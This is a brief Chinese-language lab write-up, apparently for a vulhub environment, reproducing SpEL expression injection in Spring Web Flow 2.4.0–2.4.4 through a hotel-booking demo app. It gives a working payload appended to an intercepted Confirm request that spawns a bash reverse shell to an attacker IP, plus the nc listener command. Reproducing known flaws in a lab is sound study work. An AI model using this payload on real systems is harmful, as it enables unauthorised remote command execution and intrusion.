漏洞描述
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
影响范围
Spring Web Flow 2.4.0 – 2.4.4
复现过程
环境启动后,访问http://your-ip:8080
http://192.168.147.139:8080
首先访问http://192.168.147.139:8080/login
,用页面左边给出的任意一个账号/密码登录系统:
然后访问id为1的酒店点击预订按钮“Book Hotel”,填写相关信息后点击“Process”
点击确认“Confirm”的时候抓包
在下面添加payload
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.147.147/6666+0>%261")).start()=vulhub
ip和端口设置为攻击机的ip和监听端口
这时候开启监听端口
nc -lvvp 6666
burp点击forward
放包后即可获取到shell:成功getshell